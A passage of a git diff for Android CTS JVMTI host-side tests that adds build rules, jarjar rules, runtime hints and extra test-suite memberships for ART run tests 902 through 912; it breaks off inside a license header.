+ src/904-object-allocation/src/art/Test904.java \
+ src/905-object-free/src/art/Test905.java \
+ src/906-iterate-heap/src/art/Test906.java \
+ src/907-get-loaded-classes/src/art/Test907.java \
+ src/907-get-loaded-classes/src/art/Cerr.java \
+ src/908-gc-start-finish/src/art/Test908.java \
+ src/910-methods/src/art/Test910.java \
+ src/911-get-stack-trace/src/art/Test911.java \
+ src/911-get-stack-trace/src/art/AllTraces.java \
+ src/911-get-stack-trace/src/art/ControlData.java \
+ src/911-get-stack-trace/src/art/Frames.java \
+ src/911-get-stack-trace/src/art/OtherThread.java \
+ src/911-get-stack-trace/src/art/PrintThread.java \
+ src/911-get-stack-trace/src/art/Recurse.java \
+ src/911-get-stack-trace/src/art/SameThread.java \
+ src/911-get-stack-trace/src/art/ThreadListTraces.java \
+ src/912-classes/src-art/art/Test912.java \
+ src/912-classes/src-art/art/DexData.java \
+ src/913-heaps/src/art/Test913.java \
+ src/914-hello-obsolescence/src/art/Test914.java \
+ src/915-obsolete-2/src/art/Test915.java \
+ src/917-fields-transformation/src/art/Test917.java \
+ src/918-fields/src/art/Test918.java \
+ src/919-obsolete-fields/src/art/Test919.java \
+ src/920-objects/src/art/Test920.java \
+ src/922-properties/src/art/Test922.java \
+ src/923-monitors/src/art/Test923.java \
+ src/924-threads/src/art/Test924.java \
+ src/925-threadgroups/src/art/Test925.java \
+ src/926-multi-obsolescence/src/art/Test926.java \
+ src/927-timers/src/art/Test927.java \
+ src/928-jni-table/src/art/Test928.java \
+ src/930-hello-retransform/src/art/Test930.java \
+ src/931-agent-thread/src/art/Test931.java \
+ src/932-transform-saves/src/art/Test932.java \
+ src/933-misc-events/src/art/Test933.java \
+ src/940-recursive-obsolete/src/art/Test940.java \
+ src/942-private-recursive/src/art/Test942.java \
+ src/944-transform-classloaders/src/art/Test944.java \
+ src/945-obsolete-native/src/art/Test945.java \
+ src/947-reflect-method/src/art/Test947.java \
+ src/951-threaded-obsolete/src/art/Test951.java \
+ src/982-ok-no-retransform/src/art/Test982.java \
+ src/984-obsolete-invoke/src/art/Test984.java \
+ src/985-re-obsolete/src/art/Test985.java \
+ src/986-native-method-bind/src/art/Test986.java \
+ src/988-method-trace/src/art/Test988.java \
+ src/988-method-trace/src/art/Test988Intrinsics.java \
+ src/989-method-trace-throw/src/art/Test989.java \
+ src/990-field-trace/src/art/Test990.java \
+ src/991-field-trace-2/src/art/Test991.java \
+ src/992-source-data/src/art/Test992.java \
+ src/992-source-data/src/art/Target2.java \
+
+JVMTI_RUN_TEST_GENERATED_NUMBERS := \
+ 901 \
+ 902 \
+ 903 \
+ 904 \
+ 905 \
+ 906 \
+ 907 \
+ 908 \
+ 910 \
+ 911 \
+ 912 \
+ 913 \
+ 914 \
+ 915 \
+ 917 \
+ 918 \
+ 919 \
+ 920 \
+ 922 \
+ 923 \
+ 924 \
+ 925 \
+ 926 \
+ 927 \
+ 928 \
+ 930 \
+ 931 \
+ 932 \
+ 933 \
+ 940 \
+ 942 \
+ 944 \
+ 945 \
+ 947 \
+ 951 \
+ 982 \
+ 984 \
+ 985 \
+ 986 \
+ 988 \
+ 989 \
+ 990 \
+ 991 \
+ 992 \
+
+# Try to enforce that the directories correspond to the Java files we pull in.
+JVMTI_RUN_TEST_DIR_CHECK := $(sort $(foreach DIR,$(addprefix src/,$(JVMTI_RUN_TEST_GENERATED_NUMBERS)), \
+ $(filter $(DIR)%,$(LOCAL_SRC_FILES))))
+ifneq ($(sort $(LOCAL_SRC_FILES)),$(JVMTI_RUN_TEST_DIR_CHECK))
+ $(error Missing file, compare $(sort $(LOCAL_SRC_FILES)) with $(JVMTI_RUN_TEST_DIR_CHECK))
+endif
+
+LOCAL_MODULE_CLASS := JAVA_LIBRARIES
+LOCAL_MODULE_TAGS := optional
+LOCAL_JAVA_LANGUAGE_VERSION := 1.8
+LOCAL_MODULE := run-test-jvmti-java
+
+GENERATED_SRC_DIR := $(call local-generated-sources-dir)
+JVMTI_RUN_TEST_GENERATED_FILES := \
+ $(foreach NR,$(JVMTI_RUN_TEST_GENERATED_NUMBERS),$(GENERATED_SRC_DIR)/results.$(NR).expected.txt)
+
+define GEN_JVMTI_RUN_TEST_GENERATED_FILE
+
+GEN_INPUT := $(wildcard $(LOCAL_PATH)/src/$(1)*/expected.txt)
+ifeq (true,$(ANDROID_COMPILE_WITH_JACK))
+GEN_JACK := $(wildcard $(LOCAL_PATH)/src/$(1)*/expected_jack.diff)
+else
+GEN_JACK :=
+endif
+GEN_OUTPUT := $(GENERATED_SRC_DIR)/results.$(1).expected.txt
+$$(GEN_OUTPUT): PRIVATE_GEN_JACK := $$(GEN_JACK)
+$$(GEN_OUTPUT): $$(GEN_INPUT) $$(GEN_JACK)
+ cp $$< $$@
+ifneq (,$$(GEN_JACK))
+ (cd $$(dir $$@) && patch $$(notdir $$@)) < $$(PRIVATE_GEN_JACK)
+endif
+
+GEN_INPUT :=
+GEN_OUTPUT :=
+
+endef
+
+$(foreach NR,$(JVMTI_RUN_TEST_GENERATED_NUMBERS),\
+ $(eval $(call GEN_JVMTI_RUN_TEST_GENERATED_FILE,$(NR))))
+LOCAL_JAVA_RESOURCE_FILES := $(JVMTI_RUN_TEST_GENERATED_FILES)
+
+# Avoid linking against any @hide APIs.
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_JAVA_LIBRARY)
+
+include $(CLEAR_VARS)
include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/src b/hostsidetests/jvmti/run-tests/src
new file mode 120000
index 0000000..0291142
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/src
@@ -0,0 +1 @@
+../../../../art/test
\ No newline at end of file
diff --git a/hostsidetests/jvmti/run-tests/test-902/Android.mk b/hostsidetests/jvmti/run-tests/test-902/Android.mk
index 7479ad8..e47ab62 100644
--- a/hostsidetests/jvmti/run-tests/test-902/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-902/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest902HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-902/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-902/AndroidTest.xml
index 7c08e22..69cf790 100644
--- a/hostsidetests/jvmti/run-tests/test-902/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-902/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest902HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest902DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_902" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-902/app/Android.mk b/hostsidetests/jvmti/run-tests/test-902/app/Android.mk
index 3fd9dc9..278351b 100644
--- a/hostsidetests/jvmti/run-tests/test-902/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-902/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-902/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-902/jarjar-rules.txt
new file mode 100644
index 0000000..1649520
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-902/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest902@1
diff --git a/hostsidetests/jvmti/run-tests/test-903/Android.mk b/hostsidetests/jvmti/run-tests/test-903/Android.mk
index 1b67da1..7ba63d8 100644
--- a/hostsidetests/jvmti/run-tests/test-903/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-903/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest903HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-903/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-903/AndroidTest.xml
index 2ab9b3e..3bec8b1 100644
--- a/hostsidetests/jvmti/run-tests/test-903/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-903/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest903HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest903DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_903" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-903/app/Android.mk b/hostsidetests/jvmti/run-tests/test-903/app/Android.mk
index a501186..08a8f4e 100644
--- a/hostsidetests/jvmti/run-tests/test-903/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-903/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-903/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-903/jarjar-rules.txt
new file mode 100644
index 0000000..f1a253e
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-903/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest903@1
diff --git a/hostsidetests/jvmti/run-tests/test-904/Android.mk b/hostsidetests/jvmti/run-tests/test-904/Android.mk
index b814acb..fa9a94e 100644
--- a/hostsidetests/jvmti/run-tests/test-904/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-904/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest904HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-904/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-904/AndroidTest.xml
index 7a8a700..577c202 100644
--- a/hostsidetests/jvmti/run-tests/test-904/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-904/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest904HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest904DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_904" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-904/app/Android.mk b/hostsidetests/jvmti/run-tests/test-904/app/Android.mk
index 83f0efc..1805c35 100644
--- a/hostsidetests/jvmti/run-tests/test-904/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-904/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-904/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-904/jarjar-rules.txt
new file mode 100644
index 0000000..e2fe6f33
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-904/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest904@1
diff --git a/hostsidetests/jvmti/run-tests/test-905/Android.mk b/hostsidetests/jvmti/run-tests/test-905/Android.mk
index 9e58b9b..97678be 100644
--- a/hostsidetests/jvmti/run-tests/test-905/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-905/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest905HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-905/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-905/AndroidTest.xml
index 87bac7e..96ef377 100644
--- a/hostsidetests/jvmti/run-tests/test-905/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-905/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest905HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest905DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_905" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-905/app/Android.mk b/hostsidetests/jvmti/run-tests/test-905/app/Android.mk
index 662ea5f..082dd05 100644
--- a/hostsidetests/jvmti/run-tests/test-905/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-905/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-905/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-905/jarjar-rules.txt
new file mode 100644
index 0000000..9b0c5aa
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-905/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest905@1
diff --git a/hostsidetests/jvmti/run-tests/test-906/Android.mk b/hostsidetests/jvmti/run-tests/test-906/Android.mk
index 553b898..7b6e063 100644
--- a/hostsidetests/jvmti/run-tests/test-906/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-906/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest906HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-906/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-906/AndroidTest.xml
index 37d2fe0..217c127 100644
--- a/hostsidetests/jvmti/run-tests/test-906/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-906/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest906HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest906DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_906" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-906/app/Android.mk b/hostsidetests/jvmti/run-tests/test-906/app/Android.mk
index f383007..0a1b017 100644
--- a/hostsidetests/jvmti/run-tests/test-906/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-906/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-906/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-906/jarjar-rules.txt
new file mode 100644
index 0000000..9e40985
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-906/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest906@1
diff --git a/hostsidetests/jvmti/run-tests/test-907/Android.mk b/hostsidetests/jvmti/run-tests/test-907/Android.mk
index cf79d0b..a64d940 100644
--- a/hostsidetests/jvmti/run-tests/test-907/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-907/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest907HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-907/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-907/AndroidTest.xml
index e9948e7..f6662a9 100644
--- a/hostsidetests/jvmti/run-tests/test-907/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-907/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest907HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest907DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_907" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-907/app/Android.mk b/hostsidetests/jvmti/run-tests/test-907/app/Android.mk
index 3ecb219..4cc8de3 100644
--- a/hostsidetests/jvmti/run-tests/test-907/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-907/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-907/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-907/jarjar-rules.txt
new file mode 100644
index 0000000..9c6b06f
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-907/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest907@1
diff --git a/hostsidetests/jvmti/run-tests/test-908/Android.mk b/hostsidetests/jvmti/run-tests/test-908/Android.mk
index 40ef837..a4a3716 100644
--- a/hostsidetests/jvmti/run-tests/test-908/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-908/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest908HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-908/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-908/AndroidTest.xml
index 3298b96..94cc519 100644
--- a/hostsidetests/jvmti/run-tests/test-908/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-908/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest908HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest908DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_908" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-908/app/Android.mk b/hostsidetests/jvmti/run-tests/test-908/app/Android.mk
index c4eea2e..f4e077c 100644
--- a/hostsidetests/jvmti/run-tests/test-908/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-908/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-908/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-908/jarjar-rules.txt
new file mode 100644
index 0000000..7915bff
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-908/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest908@1
diff --git a/hostsidetests/jvmti/run-tests/test-910/Android.mk b/hostsidetests/jvmti/run-tests/test-910/Android.mk
index 8cfe0a5..dc913dd 100644
--- a/hostsidetests/jvmti/run-tests/test-910/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-910/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest910HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-910/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-910/AndroidTest.xml
index 6fded28..efefdf6 100644
--- a/hostsidetests/jvmti/run-tests/test-910/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-910/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest910HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest910DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_910" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-910/app/Android.mk b/hostsidetests/jvmti/run-tests/test-910/app/Android.mk
index 108682a..c9c903f 100644
--- a/hostsidetests/jvmti/run-tests/test-910/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-910/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-910/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-910/jarjar-rules.txt
new file mode 100644
index 0000000..2856a08
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-910/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest910@1
diff --git a/hostsidetests/jvmti/run-tests/test-911/Android.mk b/hostsidetests/jvmti/run-tests/test-911/Android.mk
index 0906b99..10d15fd 100644
--- a/hostsidetests/jvmti/run-tests/test-911/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-911/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest911HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-911/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-911/AndroidTest.xml
index 6947ae4..c6a4565 100644
--- a/hostsidetests/jvmti/run-tests/test-911/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-911/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest911HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest911DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_911" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-911/app/Android.mk b/hostsidetests/jvmti/run-tests/test-911/app/Android.mk
index d5d70d2..9441ad5 100644
--- a/hostsidetests/jvmti/run-tests/test-911/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-911/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-911/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-911/jarjar-rules.txt
new file mode 100644
index 0000000..676e1db
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-911/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest911@1
diff --git a/hostsidetests/jvmti/run-tests/test-912/Android.mk b/hostsidetests/jvmti/run-tests/test-912/Android.mk
new file mode 100644
index 0000000..6ec22d7
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-912/Android.mk
@@ -0,0 +1,27 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest912HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-912/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-912/AndroidTest.xml
new file mode 100644
index 0000000..7cb82f0
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-912/AndroidTest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
